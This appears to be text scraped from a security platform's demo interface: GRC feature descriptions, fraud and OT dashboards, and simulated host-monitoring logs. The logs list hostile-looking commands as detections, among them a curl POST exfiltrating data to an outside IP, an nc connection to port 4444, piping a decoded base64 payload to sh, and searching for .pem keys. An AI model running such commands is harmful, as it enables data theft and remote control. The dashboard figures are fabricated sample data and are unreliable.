DevSecOps integration: SAST/DAST scanner findings can be ingested via API and automatically converted to vulnerability register entries with OWASP category tags.

SDLC gates: Define security requirements per SDLC phase — design review, threat modelling, code review, pen test — and track completion status.
Reusable Security Control Library
Define a security control once and apply it to multiple projects, applications, or business units:

Example: "Input Validation" control defined once with: implementation guidance, test evidence criteria, responsible role, and tool recommendations (SAST scanner, WAF rules).

This control is then applied to: Customer Portal, Mobile App, Payment Gateway, SOC API — each application gets the same control requirement without duplicating the definition.

Control instances can have different implementation scores per application (Customer Portal may be 60% compliant while Payment Gateway is 100%) — aggregated into the application security posture score.
Maturity Assessment & Scoring
Maturity rated 1–5 per domain using a model aligned to OWASP SAMM and CMMI:

Level 1 — Initial: Ad hoc, undocumented, relies on individual expertise
Level 2 — Developing: Some documented processes, inconsistently applied
Level 3 — Defined: Documented, consistently followed, staff trained
Level 4 — Managed: Measured, monitored with KPIs, proactive
Level 5 — Optimised: Continuous improvement, benchmarked, automated

Scores aggregate control coverage (breadth) and implementation quality (depth). Used to benchmark divisions against each other and against industry peers.
TPRM Built on Audit Capabilities
Vendor assessments use the exact same audit engine as internal compliance audits — same workflow, evidence management, and scoring logic. This means:

• No separate TPRM tool needed
• Vendor responses are stored and reused in subsequent assessment cycles
• Vendor compliance scores are calculated on the same scale as your own controls
• A vendor gap automatically surfaces as a gap in your own ISO 27001 A.15 (Supplier Relationships) score

Tiering logic assigns assessment cadence: Critical tier = quarterly, High = bi-annual, Medium = annual, Low = 2-yearly.
Vendor Risk Assessment Workflow
Five-stage assessment pipeline:

1. Initiation: Create vendor record, assign tier, select applicable framework questionnaire
2. Questionnaire: System sends tailored questionnaire to vendor contact via secure link
3. Self-Assessment: Vendor answers and uploads supporting evidence
4. Internal Review: Your team scores vendor responses, may request clarification
5. Approval / Remediation: Pass with conditions, require remediation, or reject

All stages are timestamped. Audit trail is complete and exportable for your own ISO 27001 A.15 evidence.
Centralised Third-Party Posture View
The TPRM dashboard gives a real-time consolidated view of all vendor risk:

Posture map: All vendors plotted on a risk × compliance matrix — immediately see which high-risk vendors are low-compliance

Framework mapping: Vendor scores mapped to your internal ISO 27001 and Essential 8 controls — supply chain gaps surface in your own framework scores

Contract metadata: Contract expiry, data processing agreement status, right-to-audit clause, security SLAs — all tracked and alerted on

Cascade risk: If a critical vendor is breached, affected risk scenarios are automatically flagged for re-evaluation.
Built-in Analytics Dashboards
Live dashboards without requiring a separate BI tool:

Risk dashboard: Heat map, risk distribution by domain/severity, treatment velocity, ALE trend

Compliance dashboard: Framework score radar, control-by-control progress, gap priority matrix, audit completion timeline

Maturity dashboard: Spider chart per domain, score history, peer benchmark comparison

Remediation dashboard: Action plan burn-down, overdue items, velocity by owner, SLA compliance rate

All dashboards exportable to PDF for board packs. Data feeds available via REST API for embedding in Power BI or Tableau.
NIST OLIR Crosswalk Engine
NIST Online Informative References (OLIR) is the official catalogue of mappings between cybersecurity documents, maintained by NIST.

Shadow Sentry GRC implements OLIR so that assessing one control automatically credits equivalent requirements in other frameworks. Examples:

• ISO 27001 A.9.4 → NIST CSF PR.AC-3 → Essential Eight ML2-7 → PCI DSS Req 8 → APRA CPS234.17
• ISO 27001 A.16 → NIST CSF RS.RP → SOC 2 CC7.4 → HIPAA §164.308(a)(6)

A single "Incident Response Plan documented and tested" assessment fills compliance credits across 4+ frameworks simultaneously — without re-interviewing or re-uploading evidence.
CRQ Scores & Maturity Benchmarking
Quantitative outputs for programme comparison:

CRQ per division: Each business unit or project gets its own ALE score — compare which division carries the most financial cyber risk exposure

Maturity benchmarking: Compare domain maturity scores against: prior quarter, target maturity, peer industry average (CISO Assistant community data)

Trend analysis: Track whether risk exposure is increasing or decreasing quarter-on-quarter, and correlate with remediation investment

ROI of controls: Before/after ALE comparison for proposed control investments — quantify the dollar value of implementing MFA, network segmentation, etc.
Board-Ready Reporting
Management and board reporting strips technical complexity to decision-relevant signals:

KRI view (Key Risk Indicators): Red/Amber/Green status for top risks — open critical scenarios, unpatched CVEs, overdue vendor assessments

KPI view (Key Performance Indicators): Programme execution metrics — remediation rate, compliance trend, training completion, audit velocity

Executive summary: One-page view — overall risk score, compliance average, top 3 risks requiring board decision, actions taken since last report

Exportable as PDF with your organisation branding. Scheduled distribution to board members via email.
Multi-Tenancy & Folder Segregation
Designed for organisations managing GRC across multiple departments, entities, or client accounts:

Folder model: Create folders per department (e.g. Finance, IT, HR, Legal), subsidiary entity, or client engagement. Each folder has its own risk register, compliance assessments, and action plan.

CISO aggregate view: Roll up all folder scores into a single executive dashboard — see enterprise-wide posture without losing the per-department detail.

Role-based access: Department managers see only their folder; CISO sees all. Auditors get read-only access to specific folders for their engagement.

MSSPs: Run separate client instances on the same platform with complete data isolation.
Workflows, Collaboration & Automation
Scoring assistant: Validates control responses for internal consistency — flags if you've marked a control "Compliant" but haven't uploaded any evidence, or if your maturity score doesn't match your control coverage.

Sanity checks: Automatic cross-validation — e.g. if risk likelihood is marked LOW but no controls are in place, the system flags the inconsistency for review.

Notifications: Email and in-app alerts for: approaching audit deadlines, overdue action plan items, expiring vendor contracts, control evidence requiring re-certification.

Collaborative assessment: Multiple assessors can work on the same audit simultaneously with conflict detection and comment threading.
Jira Integration & ETA Tracking
Remediation actions flow seamlessly between GRC and development workflows:

Push to Jira: Create a Jira issue from any GRC action plan item with a single click — title, description, priority, and due date are pre-populated

Status sync: Jira issue status syncs back to GRC — when a developer marks a Jira ticket "Done", the GRC action item updates automatically

ETA tracking: Predicted completion dates from Jira velocity data surface in the GRC remediation dashboard

Other integrations: ServiceNow, Azure DevOps, Linear, and any REST-capable ticketing system via the API. Webhook support for real-time sync.
API-First (REST) Architecture
Every GRC object and workflow is accessible via the REST API:

Ingest: Pull vulnerability findings from Tenable, Qualys, Burp, or any scanner → auto-create AppSec vulnerability entries with OWASP tags

Export: Push risk data to SIEM (Elastic, Splunk) for correlation with SOC alerts → risk score becomes a dynamic signal in the SOC dashboard

Automate: Trigger evidence collection workflows from CI/CD pipeline on every production deployment — automated SAST/DAST results attached to AppSec controls

Integrate: Feed compliance scores into Slack/Teams dashboards, embed risk KPIs in Power BI, or build custom mobile apps on the API.

Full OpenAPI 3.0 spec available. Authentication via API keys or OAuth 2.0.
Deployment Options
Cloud SaaS: Hosted by intuitem/Shadow Sentry on AU-region infrastructure. SOC 2 certified. Data residency in Australia. Suitable for most organisations.

Self-hosted (Docker/K8s): Deploy on your own infrastructure using the provided Docker Compose or Helm charts. Full data sovereignty — nothing leaves your environment. Recommended for government and defence clients under PSPF/ISM.

Open-source Community Edition: AGPLv3 licensed, freely available on GitHub. Full feature set. Community support via GitHub Issues and Discord. Used by 1,000+ organisations globally.

Enterprise Edition: Commercial licence with SLA, dedicated support, SSO (SAML/OIDC), and advanced analytics. Shadow Sentry provides local Australian implementation and support.
Shadow Sentry OT/ICS Security Centre
Industrial Control Systems · SCADA · DCS · PLC Visibility — Forescout-style
2 CRITICAL ALERTS
247 OT Assets
Purdue Level 2–4
Critical Alerts
2
Unacknowledged
OT Assets
247
Across 4 sites
Unpatched CVEs
34
Critical: 8 · High: 26
Unsupported OS
19
WinXP/Win7/Legacy
OT–IT Boundary
6
Uncontrolled connections
Passive Monitoring
98%
Zero-impact sensing
Protocol Coverage
12
Modbus·DNP3·EtherNet/IP…
Mean Time Visible
4.2min
New device detection
Connected Data Sources — Vendor Integrations
Site Status
Live OT Alert Feed 2 UNACK
Protocol Distribution
Asset Type Breakdown
OT Risk Heatmap by Zone
247 assets
OT Asset Register Passive discovery · Zero impact
Tag / HostnameIPVendorTypeModelFirmwareOSProtocolPurdueSiteZoneCVEsRiskLast Seen
OT Network Topology — Purdue Model Segmentation Click nodes for details
SCADA/DCS Server PLC/RTU HMI Engineering WS Historian Alarm — Critical Firewall/DMZ
OT / ICS Security Alerts 2 CRITICAL OPEN
IDTimestampSeverityCategorySource AssetProtocolDescriptionMITRE ICSSiteStatusAction
OT Vendor Integration Hub — Pull data from SCADA/DCS/PLC vendors
Protocol Adapters
Integration Methods
IEC 62443 Score
62%
SL-2 target
NERC CIP Score
71%
BES Cyber Systems
NIST SP 800-82
68%
ICS Security Guide
ISA/IEC 62443-3-3
SL-1
Current target level
Purdue Reference Model — Asset Distribution by Level
AI Scam & Fraud Intelligence Monitor
eCommerce · PCI-DSS · Trading · Crypto · External Market Threats — Real-time AI anomaly detection
LIVE THREATS: 14
$28,440 fraud today
PCI-DSS: 81%
⚡ LIVE SCAM FEED
🛒
Card-Not-Present Fraud
$12,840
↑ 34% vs yesterday · 47 txns
📈
Wash Trade Alerts
8
3 exchanges · AI detected
₿
Crypto Scam Wallets
23
Flagged · 6 new today
🔒
PCI-DSS Score
81%
SAQ-D · 3 open gaps
🤖
Bot Attacks
1,247
Credential stuffing · /min
🌐
Phishing Sites
7
Spoofing our domain
💳
Chargebacks (30d)
1.8%
Threshold: 1.0% · elevated
📡
Dark Web Mentions
4
Brand / card dumps found
Fraud & Anomaly Timeline — Last 24h AI-powered
Threat Breakdown
Live Fraud Transactions Real-time
Risk Score by Channel
💳
Transactions (24h)
8,847
$1.24M processed
🚫
Declined (Fraud)
47
$12,840 blocked
🤖
Bot Requests/min
1,247
↑ 280% anomaly
🌍
High-Risk Geos
9
Countries flagged
🔄
Chargeback Rate
1.8%
Alert threshold: 1.0%
Fraud Transaction Log ML scored
Txn IDTimeAmountCard BINCountryChannelML ScoreRule HitStatusAction
Velocity Rules Triggered
Bot Attack Map (24h)
Card BIN Intelligence — Known Compromised Ranges Dark web correlation
📈
Orders (24h)
3,421
$4.7M notional
⚠️
Wash Trade Alerts
8
AI flagged · 3 exchanges
🤖
Algo Anomalies
12
Spoofing/layering
🔑
API Key Misuse
3
Unusual access patterns
🌐
External Market Feed
Live
5 exchanges · REST/WS
Price + Volume Anomaly Chart AI baseline
Market Indices (External)
Suspicious Order Activity — Wash Trading / Spoofing / Layering Detection FINRA Rule 5210 · MiFID II
Alert IDTimePatternAssetExchangeVolumeAccountsAI ConfidenceRegulatory RiskStatus
⚠️
Scam Wallets
23
6 new today · OFAC screened
₿
BTC Price
$97,420
↑ +2.4% (24h)
Ξ
ETH Price
$3,284
↑ +1.8% (24h)
🔍
Chain Analysis Hits
9
Mixer/tumbler activity
📊
Suspicious Flows
$218K
Last 24h detected
BTC / ETH / USDT Price + Scam Alert Overlay External market feed
Scam Wallet Tracker
Crypto Threat Intelligence — Wallets · Smart Contracts · Rug Pulls Chainalysis-style analysis
Wallet / ContractChainTypeRisk Score$ ExposureConnectionsFirst SeenOFACPatternStatus
📋
PCI-DSS Score
81%
SAQ-D · Merchant Level 2
⚠️
Open Gaps
3
Req 6, 10, 12
🔍
Last ASV Scan
15d ago
Next due: 76 days
📅
QSA Assessment
Passing
Valid until Dec 2025
🌑
Dark Web Mentions
4
Brand · card dumps · APIs
🌐
Phishing Domains
7
Spoofing our brand
📦
Malware Families
3
Targeting checkout flows
📡
Threat Feeds Active
8
OSINT · CISA · FS-ISAC
External Threat Intelligence Feed AI correlated
Dark Web Monitoring
Phishing & Brand Abuse Sites Takedown eligible
DomainRegistrarCreatedIP/ASNSimilarityTypeStatusAction
AI Fraud & Scam Analysis Engine Claude-powered
Pattern Recognition — Fraud Clusters
Anomaly Scores — Real-time ML
AI-Generated Threat Brief — Updated every 15 min
Click "Regenerate" or use the 🧠 AI Analyst button to generate a threat brief.
Client — Your Dashboard
Your branded client portal · Powered by Shadow Sentry · Customisable per client deployment
Services: Operational
ISO 27001: Active
Vendor Tier: HIGH
Last Assessment: 14 days ago
🌐
Your Client Name
client.com · Configurable · Your location
Overall Risk Score
MEDIUM
Composite · 64/100
Security Posture
78/100
ISO 27001 certified
Operational Risk
61/100
Concentration risk: India
Compliance
82/100
ISO 27001 · SOC 2 (partial)
3rd Party Exposure
55/100
Taskmonk.ai · sub-processors
Open Actions
👥
Staff
1,900+
5 offices · India
💰
Revenue (est.)
$463M
ZoomInfo estimate
🏢
Client Contracts
3
Active with Shadow Sentry scope
⚠️
Open Risk Items
7
3 High · 4 Medium
🔒
ISO 27001
Valid
Exp: Dec 2026
🌐
Geo Concentration
HIGH
100% India delivery
📡
Uptime (30d)
99.4%
SLA target: 99.5%
📋
Last Assessment
14d
Next due in 76 days
Risk Domain Radar
Service Health — Real-time
Top Risk Items 7 open
Assessment History & Score Trend
Client Service Lines — In Scope for Shadow Sentry Monitoring
Data Flows & Integration Points
Personnel Risk Indicators
🔒
ISO 27001
Certified
DNV · Dec 2026
🧪
Pen Test
8 months ago
Annual requirement
🔑
MFA Enforcement
96%
All privileged accounts
📦
Unpatched CVEs
11
2 Critical · 9 High
🛡
Security Score
78/100
↑ 4pts vs last audit
Security Control Assessment
Vulnerability Summary
ISO 27001 ISMS Domains — Evidence Status
Vendor Compliance Scorecard — Shadow Sentry TPRM Requirements
Certification Registry
Contractual Obligations — Security Clauses Status
Open Action Plan Items
RefActionCategoryPriorityDueProgressStatus
🌍
Geo Concentration
HIGH
100% India delivery
🔗
Sub-processors
4
Taskmonk · AWS · Azure · others
📄
DPA Coverage
2/4
2 sub-processors pending DPA
🏭
Delivery Sites
5
BLR · Chittoor · Vellore · +2
Sub-processor & Dependency Map
Operational Risk Factors
Business Continuity & Resilience
📅
Incidents (12m)
6
3 data · 2 availability · 1 policy
⏱
Avg Response Time
6.4h
SLA: 4h · missed 3× last year
✅
Resolved (12m)
5
1 open · Root cause: TBC
📊
MTTR
18h
Mean time to resolve
Incident Register — 12 Month History
IDDateTypeSeverityDescriptionData ImpactResponse TimeRoot CauseStatus
📡
Uptime (30d)
99.4%
SLA: 99.5% — just below
⚡
Avg Response Time
2.1s
API · SLA: 3s
✅
Task Accuracy
98.2%
Data labelling · SLA: 97%
⏰
On-time Delivery
91%
SLA: 95% — below target
😊
CSAT Score
4.2/5
Client satisfaction
SLA Performance — 6 Month Trend
KPI Scorecard
Service Line SLA Status
Service LineSLA TargetCurrent30d AvgTrendStatus
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
2
sudo -i / su root
Direct root shell
4
SETUID Executions
setuid bit triggered
4
Sudo Anomalies
Off-hours / new cmds
2
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
/var/log/auth.log READ r.sharma31042 MEDIUM T1083
/root/.bash_history ACCESS r.sharma30201 MEDIUM T1083
/etc/postgresql/15/pg_hba.conf READ postgres12847 LOW —
TimeUserCommandHostRiskMITRE
03:40rootsu - postgres DB-PROD-01DB-PROD-01T1078
04:48r.sharmasu - postgres DB-PROD-01DB-PROD-01T1078
05:18r.sharmafind / -name *.pem DB-PROD-01DB-PROD-01T1083
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
47
Failed Logins
brute force / bad cred
1
Root SSH Logins
PermitRootLogin risk
12
Active Sessions
current
2
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
03:41r.sharma mysqldump -u root -p HIGH T1005
03:41r.sharma pg_dump thiru_prod HIGH T1005
03:45r.sharma curl -X POST 34.102.136.180 HIGH T1048
05:18r.sharma find / -name *.pem 2>/dev/null MEDIUM T1083
04:48r.sharma su - postgres HIGH T1078
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
2 SUSPECTS
UserSource IPCountryTimeAuthFlag
root 10.0.4.88 AU03:40key ROOT LOGIN
r.sharma 34.102.136.180 SG03:41password GCP IP
postgres 103.9.176.21 SG18:40password BRUTE FORCE
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
curlr.sharma34.102.136.180SG 80HTTP124MB HIGHT1048
ncj.mitchell5.188.86.114NL 4444TCP4KB CRITT1059
rsyncbackup192.168.100.5AU 873TCP12GB LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
curlr.sharma 34.102.136.180 SG80HTTP 124MB HIGH T1048
ncj.mitchell 5.188.86.114 NL4444TCP 4KB CRITICAL T1059
rsyncbackup 192.168.100.5 AU873TCP 12GB LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2023-4911 7.8 glibc 2.35 Buffer overflow in GNU C Library (LOONEY TUNABLES) ACTIVE T1068
CVE-2024-21626 8.6 runc 1.1.x Container escape via process working directory PATCH AVAILABLE T1611
FieldValue
HostnameSRV-APP-02
IP Address10.0.3.2
OSUbuntu 22.04.3 LTS
Kernel5.15.0-91-generic
EnvironmentPRODUCTION
Risk LevelHIGH
Uptime22d 14h
Total Procs312
Open Files8,440
Open Ports6
🔷 Elastic Stack Agent Coverage
4/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
v8.12.0
● ACTIVE
FIM · syscall
🌐
Packetbeat
v8.12.0
● ACTIVE
DNS · HTTP · TLS
🖥️
OSQuery
—
○ INACTIVE
INACTIVE — install required
84,214
Events/day
6.1 GB
Index size
9 ms
Avg query
99.95%
Uptime
3
Dashboards
⚠️ HIGH — LockBit 3.0 Pre-Ransomware on SRV-APP-02: libc.so.6 replaced (T1574 DLL injection), base64 payload decoded+executed (T1027), crontab persistence (T1053). 7 zombie processes. EDR scan + isolation recommended.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
3
sudo -i / su root
Direct root shell
6
SETUID Executions
setuid bit triggered
2
Sudo Anomalies
Off-hours / new cmds
4
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
/lib/x86_64-linux-gnu/libc.so.6 REPLACE root2001 CRITICAL T1574
/tmp/upload_staging/payload.sh CREATE webapp44120 HIGH T1105
/etc/cron.d/sysmon CREATE devops11204 HIGH T1053
TimeUserCommandHostRiskMITRE
06:44webappbase64 -d payload.txt|sh SRV-APP-02SRV-APP-02T1027
06:47rootcrontab -e (new entry) SRV-APP-02SRV-APP-02T1053
07:02rootsystemctl enable sysmon SRV-APP-02SRV-APP-02T1543
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
84
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
22
Active Sessions
current
1
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
06:44webapp base64 -d payload.txt | sh MEDIUM T1027
06:45webapp ./sh CRITICAL T1059
06:47root crontab -e (new entry) HIGH T1053
07:02root systemctl enable sysmon HIGH T1543
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
1 SUSPECTS
UserSource IPCountryTimeAuthFlag
webapp 10.0.3.10 AU06:43key OK
admin 5.188.86.114 NL22:05password BRUTE FORCE
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
python3webapp103.9.176.21SG 443TLS2MB HIGHT1041
aptrootarchive.ubuntu.comAU 80HTTP180MB LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
python3webapp 103.9.176.21 SG443TLS 2MB HIGH T1041
aptroot archive.ubuntu.com AU80HTTP 180MB LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2024-21626 8.6 runc 1.1.11 Container escape in working dir traversal ACTIVE T1611
FieldValue
HostnameSRV-WEB-01
IP Address10.0.3.1
OSUbuntu 20.04.6 LTS
Kernel5.4.0-167-generic
EnvironmentPRODUCTION
Risk LevelHIGH
Uptime62d 8h
Total Procs148
Open Files4,210
Open Ports4
🔷 Elastic Stack Agent Coverage
3/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
v8.12.0
● ACTIVE
FIM · syscall
🌐
Packetbeat
—
○ INACTIVE
INACTIVE
🖥️
OSQuery
—
○ INACTIVE
INACTIVE
28,447
Events/day
3.8 GB
Index size
7 ms
Avg query
99.99%
Uptime
2
Dashboards
⚠️ HIGH — Ubuntu 20.04 EOL (April 2025) + CVE-2024-3094 (XZ backdoor CVSS 10.0): Crontab persistence detected. Missing Packetbeat + OSQuery coverage. Schedule upgrade to 22.04 LTS immediately.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
1
sudo -i / su root
Direct root shell
3
SETUID Executions
setuid bit triggered
2
Sudo Anomalies
Off-hours / new cmds
1
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
/etc/cron.d/sysmon CREATE devops11204 HIGH T1053
/etc/nginx/nginx.conf MODIFY devops8210 MEDIUM —
TimeUserCommandHostRiskMITRE
04:01devopschmod 777 /etc/cron.d SRV-WEB-01SRV-WEB-01T1222
04:02devopscrontab -e (new entry) SRV-WEB-01SRV-WEB-01T1053
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
48
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
8
Active Sessions
current
0
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
04:01devops chmod 777 /etc/cron.d HIGH T1222
04:02devops crontab -e (new entry) HIGH T1053
09:15nginx nginx -s reload LOW —
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
0 SUSPECTS
UserSource IPCountryTimeAuthFlag
devops 172.16.0.44 AU04:01key OK
admin 5.188.86.114 NL22:07password BRUTE FORCE
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
nginx*0.0.0.0* 443HTTPSvaried LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
nginx* 0.0.0.0 *443HTTPS varied LOW —
aptroot archive.ubuntu.com AU80HTTP 220MB LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2024-3094 10.0 XZ Utils 5.6.0 Backdoor in liblzma — SSH auth bypass PATCH AVAILABLE T1190
FieldValue
HostnameSRV-MGMT
IP Address10.0.1.5
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
EnvironmentMANAGEMENT
Risk LevelMEDIUM
Uptime91d 3h
Total Procs112
Open Files2,847
Open Ports3
🔷 Elastic Stack Agent Coverage
4/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
v8.12.0
● ACTIVE
FIM · syscall
🌐
Packetbeat
—
○ INACTIVE
INACTIVE
🖥️
OSQuery
v8.12.0
● ACTIVE
process · socket · cron
8,241
Events/day
1.2 GB
Index size
6 ms
Avg query
100%
Uptime
2
Dashboards
🔵 MEDIUM — Management host healthy. CVE-2023-51385 (OpenSSH ProxyCommand injection CVSS 9.8) patch available — apply within 48h SLA. Ansible control plane — restrict SSH access to jump host only.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
0
sudo -i / su root
Direct root shell
2
SETUID Executions
setuid bit triggered
1
Sudo Anomalies
Off-hours / new cmds
1
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
/etc/ansible/ansible.cfg MODIFY sysadmin5820 LOW —
TimeUserCommandHostRiskMITRE
08:10sysadminsudo apt-get update SRV-MGMTSRV-MGMT—
09:44sysadminansible-playbook deploy.yml SRV-MGMTSRV-MGMT—
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
4
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
6
Active Sessions
current
0
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
08:10sysadmin apt-get update LOW —
08:12sysadmin apt-get upgrade -y LOW —
09:44sysadmin ansible-playbook deploy.yml LOW —
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
0 SUSPECTS
UserSource IPCountryTimeAuthFlag
sysadmin 10.0.0.1 AU08:10key OK
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
aptrootarchive.ubuntu.comAU 80HTTP340MB LOW—
ansiblesysadmin10.0.1.0/24AU 22SSHvaried LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
aptroot archive.ubuntu.com AU80HTTP 340MB LOW —
ansiblesysadmin 10.0.1.0/24 AU22SSH varied LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2023-51385 9.8 OpenSSH ProxyCommand Command injection via %h expansion PATCH AVAILABLE T1190
FieldValue
HostnameDB-STAGING
IP Address10.0.4.1
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
EnvironmentSTAGING
Risk LevelMEDIUM
Uptime28d 11h
Total Procs98
Open Files3,214
Open Ports2
🔷 Elastic Stack Agent Coverage
3/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
v8.12.0
● ACTIVE
FIM · syscall
🌐
Packetbeat
—
○ INACTIVE
INACTIVE
🖥️
OSQuery
—
○ INACTIVE
INACTIVE
4,441
Events/day
0.8 GB
Index size
5 ms
Avg query
100%
Uptime
1
Dashboards
🔵 MEDIUM — Staging DB is healthy. glibc CVE-2023-4911 (LOONEY TUNABLES CVSS 7.8) unpatched — same as DB-PROD-01. Patch both together. Packetbeat + OSQuery not deployed on staging.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
0
sudo -i / su root
Direct root shell
1
SETUID Executions
setuid bit triggered
0
Sudo Anomalies
Off-hours / new cmds
0
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
TimeUserCommandHostRiskMITRE
No privilege escalation events ✓
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
2
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
3
Active Sessions
current
0
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
09:30postgres pg_dump thiru_staging LOW T1005
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
0 SUSPECTS
UserSource IPCountryTimeAuthFlag
devops 10.0.0.55 AU09:25key OK
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
psqlpostgres10.0.4.1AU 5432TCPvaried LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
psqlpostgres 10.0.4.1 AU5432TCP varied LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2023-4911 7.8 glibc 2.35 LOONEY TUNABLES buffer overflow PATCH AVAILABLE T1068
FieldValue
HostnameSRV-BACKUP
IP Address10.0.5.1
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
EnvironmentBACKUP
Risk LevelLOW
Uptime108d 22h
Total Procs84
Open Files1,847
Open Ports2
🔷 Elastic Stack Agent Coverage
3/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
v8.12.0
● ACTIVE
FIM · syscall
🌐
Packetbeat
—
○ INACTIVE
INACTIVE
🖥️
OSQuery
—
○ INACTIVE
INACTIVE
2,147
Events/day
0.4 GB
Index size
4 ms
Avg query
100%
Uptime
1
Dashboards
✅ LOW — Backup server is clean. No CVEs. Backup job completed 03:00 AEST — 12GB synced via rsync to 192.168.100.5. All Elastic agents active. Consider adding Packetbeat for network visibility.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
0
sudo -i / su root
Direct root shell
0
SETUID Executions
setuid bit triggered
0
Sudo Anomalies
Off-hours / new cmds
0
Capability Changes
